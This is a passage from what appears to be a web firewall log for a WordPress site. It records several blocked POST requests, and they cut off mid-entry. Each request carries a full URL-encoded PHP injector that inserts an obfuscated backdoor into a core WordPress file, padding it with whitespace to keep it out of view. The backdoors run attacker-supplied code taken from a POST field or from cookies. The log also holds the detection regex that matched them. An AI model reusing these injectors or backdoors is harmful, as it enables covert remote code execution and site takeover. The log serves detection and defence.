Safari\/537.36\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:38:32","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ul:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4036\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIJjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nUl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:36","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:3277\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJStvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nXX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:41","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3277\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-mode:navigate\naccept:*\/*\n\nQc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:43","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Fm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p